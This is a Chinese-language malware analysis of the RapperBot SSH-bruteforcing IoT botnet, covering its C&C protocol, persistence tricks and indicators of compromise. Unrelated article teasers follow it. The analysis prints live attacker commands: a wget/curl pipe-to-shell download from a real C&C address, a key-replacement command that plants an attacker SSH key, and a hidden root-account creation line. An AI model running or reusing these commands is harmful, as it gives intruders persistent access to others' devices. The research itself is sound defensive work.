RapperBot僵尸网络最新进化:删除恶意软件后仍能访问主机

news2024/11/24 20:42:32

自 2022 年 6 月中旬以来,研究人员一直在跟踪一个快速发展的 IoT 僵尸网络 RapperBot。该僵尸网络大量借鉴了 Mirai
的源代码,新的样本增加了持久化的功能,保证即使在设备重新启动或者删除恶意软件后,攻击者仍然可以通过 SSH 继续访问失陷主机。

发现

2022 年 6 月,研究人员发现了带有 SSH 相关字符串的物联网恶意软件样本,这在其他物联网僵尸网络中并不多见。经过进一步分析,这个被称为
RapperBot 的僵尸网络能够针对 ARM、MIPS、SPARC 与 X86 架构发起攻击,具有有限 DDoS 功能的 SSH 暴力破解能力。

RapperBot 的命名由 [CNCERT](https://www.ics-
cert.org.cn/portal/page/112/1208496c5e164aceb8dadd08ab993dd2.html)在 7
月初发布的分析报告中提出,因为在样本中发现了指向 YouTube 说唱类音乐视频的嵌入 URL 地址。本次分析的 RapperBot
恶意样本中,已经不再包含该 URL 地址。

image.png-94.5kBRapperBot
的执行流程

SSH-2.0-HELLOWORLD

RapperBot 大量重用 Mirai 源代码,但功能与实现细节(如 C&C 协议等)与原始 Mirai 和基于 Mirai 的典型变种都有很大不同。

大多数 Mirai 变种使用默认密码或弱密码暴力破解 Telnet 服务,而 RapperBot 专门暴力破解接受密码身份验证的 SSH
服务器。恶意样本中带有一个 SSH 2.0 的客户端,使用该客户端可以连接并暴力破解任何支持 Diffie-Hellmann 密钥交换、使用 768 位或
2048 位密钥、使用 AES128-CTR 数据加密的 SSH 服务。

RapperBot 暴力破解的一个特点是在 SSH 协议交换阶段使用 SSH-2.0-HELLOWORLD向目标 SSH 服务标识自己,SANS
Internet Storm Center 在蜜罐的日志中也发现了该字符串标识。

早期的样本将暴力破解的凭据硬编码在文件中,从七月起转而从 C&C
服务器下载该列表。这样,攻击者就可以在云端不断更新凭据列表,无需下发新样本来感染设备。最新的样本中,下载的端口号为 4343 到 4345。

一旦 RapperBot 通过暴力破解成功入侵 SSH 服务,将会通过 48109 端口回传凭据给 C&C
服务器,没有更进一步的操作。但在六月下旬,研究人员发现攻击成功后也会开始下载恶意软件进行攻击与自我传播。在失陷 SSH 服务器上执行的命令如下所示:

shenableshelldebug shellcmdwget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- |  sh

不知道什么原因,这种传播功能在随后几天就被删除了,并且再也没有在样本中出现。攻击者可能是借鉴 Mirai,实现了单独的 Loader
在后续连接到受害者进行下载并执行客户端。

维持持久化

自从 7 月中旬以来,RapperBot 已经从自我传播转向维护对暴力破解的 SSH 服务的远程访问。执行命令将受害者的
~/.ssh/authorized_keys替换为攻击者的 SSH 公钥,如下所示:

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;

这样攻击者就可以在 SSH 凭据更改后,仍然保持访问权限。并且由于文件被替换,已有的授权访问全都被清除,也阻止了合法用户通过公钥认证的方式访问 SSH
服务器。七月中旬的样本文件将 helloworld 字符串替换为 system key generated by server 20220709

在最新的 RapperBot 样本中,样本文件通过写入 /etc/passwd/etc/shadow/增加用户
suhelper,这样使攻击者能够更进一步控制失陷设备。另外,每个小时都定时执行增加用户账户,例如:

#!/bin/shuseradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1

字符串混淆

早期的样本带有明文字符串,后续改为使用栈字符串并且为字符串增加了额外的混淆,这都是为了阻碍分析工具与逆向工程。

image.png-198.3kB样本中的字符串

样本实现了 Mirai 风格的异或加密层,将字符串都隐藏起来。尽管有很多 Mirai 僵尸网络与 Gafgyt
僵尸网络都倾向于在样本中保留标识自身的字符串,但 RapperBot 的开发人员似乎相当低调。

网络协议

RapperBot 通过不同端口的 TCP 请求与 C&C 服务器通信以接收命令、下载 SSH 凭据列表或者上传有效凭据。

每个请求都包含 Bot ID,这是硬编码在文件中的 32 字节值。一共在野发现了两个 ID:

d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe
46 53 c7 0b b5 18 27

f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6
3f 2a 16 71 b6 eb 9a

通过这些 Bot ID 能够找到最早 2021 年 11 月以来的旧样本,但 SSH 暴力破解功能只在 2022 年 6 月中旬的样本出现。

RapperBot 向 C&C 服务器发送的上线包,包含执行的基本上下文信息。例如 ssh.wget.arm7 告知 C&C 服务器是通过 SSH
协议传播的、使用 wget 进行下载、并且是 ARM 架构。

随后的通信结构如下所示:

struct rapperbot_registration {byte bot_id[32];int command_code;source [32];};

RapperBot 支持的命令有:

0x00:注册(由客户端使用)

0x01:保持静默/什么都不做

0x02:停止所有 DoS 攻击并终止客户端

0x03:执行 DoS 攻击

0x04:停止所有 DoS 攻击

注册完成后,客户端发送另一个请求告知 C&C 服务器已经准备好接收命令。通常,C&C 服务器使用 keep-alive 命令响应请求:

image.png-390.2kBRapperBot
客户端-服务器通信

除了 keep-alive 命令,在分析过程中没有观察到来自 C&C 服务器的任何其他命令。但 RapperBot 确实支持少量的 DoS 攻击,包括与
Mirai 的实现非常相似的普通 UDP 洪水与 TCP STOMP 洪水攻击。

攻击命令结构如下所示:

struct rapperbot_attack_command {byte bot_id[32];int command_code;  // 0x03byte vector; // type of DoS attackushort target_port;int duration;int target_ip;};

神秘动机

在跟踪威胁的一个多月里,攻击者曾经完全删除了 DDoS
功能,是为了避免引起过多的关注还是正在进行开发?攻击者尝试了自我传播几天后再度删除,但仍然重视对攻击成功服务器的持久化访问,这是否说明攻击者更重视已感染设备而不是更在乎扩张僵尸网络的规模。

在暴力破解成功后,竟然没有投递任何载荷,完全不知道攻击者积累失陷主机为了做什么。在过去的一半个月中,使用 SSH-2.0-HELLOWORLD
客户端标识字符串扫描和暴力破解 SSH 服务的 3500 个 IP 地址,超过一半来自美国、中国台湾与韩国。

image.png-85.6kB扫描统计

结论

RapperBot 尽管借鉴了 Mirai 的代码,但其设计与 Mirai
完全不同。该僵尸网络的持久化能力使得攻击者后续可能更灵活地进行各种恶意行为,但攻击者的意图仍然非常神秘。

IOC

92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04
hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86
31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333653.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qml学习——基本控件

最近在学习Qml,但对Qml的各种用法都不太熟悉,总是会搞忘,所以写几篇文章对学习过程中的遇到的东西做一个记录。 学习参考视频:https://www.bilibili.com/video/BV1Ay4y1W7xd?p1&vd_source0b527ff208c63f0b1150450fd7023fd8 目…

电视剧《狂飙》数据分析,正片有效播放市场占有率达65.7%

哈喽大家好,春节已经过去了,朋友们也都陆陆续续开工了,小编在这里祝大家开工大吉!春节期间,一大批电视剧和网剧上映播出,其中电视剧《狂飙》以不可阻挡之势成功成为“开年剧王”。这里小编整理了一些《狂飙…

数据存储技术复习(三)未完

module4智能存储系统是功能丰富且可提供高度优化的I/o处理能力的RAID阵列。请绘制智能存储系统架构,并说明其各个关键组件的主要功能。前端缓存后端物理磁盘2.智能存储系统中,使用缓存进行的写入操作与直接写入到磁盘相比,可以带来…

2023年房地产投资-折价因子研究报告

一、折价因子分析 1.户型不好 一些楼盘的户型不是很理想,可能存在格局与面积分配不合理,浪费面积过多的情况。比如:入户无玄关、入户门正对卫生间、厨房卫生间没窗、长走廊、局部空间太小…… 2.楼层不合适,采光差 非电梯房的…

设计模式(七)----创建型模式之建造者模式

1、概述 将一个复杂对象的构建与表示分离,使得同样的构建过程可以创建不同的表示。 分离了部件的构造(由Builder来负责)和装配(由Director负责)。 从而可以构造出复杂的对象。这个模式适用于:某个对象的构建过程复杂的情况。 由于实现了构建和装配的解…

【本地项目】上传到【GitLab】流程详解

文章目录1、安装Git2、创建GitLab项目文件夹3、创建密钥4、向GitLab上传项目注意:本篇文章中提到的上传流程所需要的命令,几乎在GitLab的Command line instructions中都有所记载 1、安装Git 具体安装流程这里不做过多说明,安装流程可以参考…

JavaEE进阶第四课:Bean 作用域和生命周期

上篇文章介绍了Spring更简单的对象存储和取出,这篇文章我们将会介绍Bean 作用域和生命周期 目录1.作用域1.1引例1.2Bean的六种作用域1.3设置作用域2.生命周期2.1Spring 执行流程2.2Bean的生命周期结束语1.作用域 1.1引例 首先这里的作用域和我们之前java学到变量的…

2023-02-09 - 3 Java客户端的使用

1 Java客户端的使用 为了演示RestHighLevelClient的使用&#xff0c;需要创建一个Spring Boot Web项目。该项目的依赖配置如下&#xff1a; <dependencies> <!--Spring Boot Web依赖--> <dependency> <groupId>org.springframework.boot</gro…

tcp的理解

1、源端口号&#xff1a;发送方端口号2、目的端口号&#xff1a;接收方端口号3、序列号&#xff1a;报文段的数据的第一个字节的序号3、确认序号&#xff1a;期望收到对方下一个报文段的第一个数据字节的序号4、首部长度(数据偏移)&#xff1a;TCP报文段的数据起始距离TCP报文段…

List、ArrayList与顺序表的介绍(数据结构系列3)

目录 前言&#xff1a; 1.List 1.1什么是List 1.2List的使用 2.ArrayList 2.1线性表 2.2ArrayList的方法 2.3ArrayList的模拟实现 2.4ArrayList的使用 2.5ArrayList的三种遍历方式 2.5.1for循环遍历 2.5.2for-each遍历 2.5.3使用迭代器遍历 结束语&#xff1a; 前…

分享88个JS焦点图代码,总有一款适合您

分享88个JS焦点图代码&#xff0c;总有一款适合您 88个JS焦点图代码下载链接&#xff1a;https://pan.baidu.com/s/1zfspX9OSsbAlL53fjiSCEw?pwdulz6 提取码&#xff1a;ulz6 Python采集代码下载链接&#xff1a;https://wwgn.lanzoul.com/iKGwb0kye3wj base_url "…

XGBoost

目录 1.XGBoost推导示意图 2.分裂节点算法 Weighted Quantile Sketch 3.对缺失值得处理 1.XGBoost推导示意图 XGBoost有两个很不错得典型算法&#xff0c;分别是用来进行分裂节点选择和缺失值处理 2.分裂节点算法 Weighted Quantile Sketch 对于特征切点点得选择&#xff…

怎么不让消息弹出?录屏弹窗怎么关

当我们对电脑屏幕进行录制时&#xff0c;时不时跳出的消息窗口和广告会影响我们录制的效果。怎样不让消息弹出&#xff1f;如何关闭录屏弹窗&#xff1f;使用“锁定窗口录制”模式&#xff0c;就能很好地解决这个问题。那有没有拥有“锁定窗口”录制模式的录屏工具&#xff1f;…

synchronized 关键字-监视器锁 monitor lock

1.代码示例&#xff1a; package thread3;import java.util.Scanner;public class Test2 {public static Object object new Object();public static void main(String[] args) throws InterruptedException {Thread thread1 new Thread(() -> {Scanner scanner new Sca…

盂县基本情况

寒假的活动报告&#xff0c;万物皆可CSDN&#xff0c;贴一下吧 盂县隶属于阳泉市&#xff0c;阳泉市是李彦宏和刘慈欣的家乡&#xff0c;阳泉市内有百度云计算中心 基本情况 盂县&#xff0c;隶属山西省阳泉市&#xff0c;地处山西省东部、太行山西麓&#xff0c;东与河北省平…

测试开发面经

操作系统 进程与线程 进程间通信方式 进程间的六种通信方式 管道消息队列共享内存信号量信号套接字 socket长连接和短连接 长连接与短连接的概念&#xff1a;前者是整个通讯过程&#xff0c;客户端和服务端只用一个Socket对象&#xff0c;长期保持Socket的连接&#xff1b…

Windows/VM虚拟机安装黑群晖6.1-----保证有效而且简单操作

1视频&#xff1a;Windows/VM虚拟机安装黑群晖教程_哔哩哔哩_bilibili2:网址&#xff1a;Synology Web Assistant3&#xff1a;重新打开群晖操作步骤1&#xff1a;按着视频下载好资源后&#xff0c;按照视频操作&#xff0c;途中修改地方&#xff08;两个情况选择其中一个&…

Docker系列(镜像原理)03

前言 镜像就是图中的集装箱&#xff0c;仓库就是超级码头&#xff0c;容器就是我们运行程序的地方。 从联合文件系统说起 Union文件系统(UnionFS )是一种分层、轻量级并且高性能的文件系统。它支持对文件系统的修改作为一次提交来一层层的叠加&#xff0c;同时可以将不同目录…

【游戏逆向】】游戏全屏捡物的分析实现

前言 在角色对战类中&#xff0c;拾取怪物掉落的装备是一项必备的工作&#xff0c;由于装备位置掉落的不确定性&#xff0c;玩家想要拾取离角色距离较远的装备需要一定的时间&#xff0c;这一段时间往往会影响游戏的评分或是玩家的心态&#xff0c;基于此&#xff0c;全屏捡物…

【Unity VR开发】结合VRTK4.0:键盘操作运动与旋转

前言&#xff1a; 当我们的手柄无发进行VR测试&#xff0c;或者想通过键盘进行验证&#xff0c;那么就用到了我们今天的一个功能&#xff1a;组合操作。组合操作允许更复杂的输入类型&#xff0c;我们将介绍如何使用布尔输入&#xff08;如键盘键&#xff09;来模拟模拟轴&…